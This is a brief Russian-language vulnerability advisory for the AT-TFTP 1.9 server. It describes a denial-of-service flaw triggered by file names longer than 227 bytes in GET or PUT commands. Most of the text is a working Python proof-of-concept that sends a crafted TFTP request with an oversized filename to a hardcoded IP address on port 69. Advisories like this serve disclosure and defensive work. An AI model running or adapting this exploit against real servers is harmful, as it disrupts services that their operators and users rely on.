Программа: AT-TFTP 1.9
Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в обработке слишком длинных имен файлов (более 227 байт), передаваемых в команды "GET" или "PUT". Атакующий может передать специально составленные файлы с длинными именами через команды "GET" или "PUT", что приведет систему к отказу в обслуживании.
Пример:
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))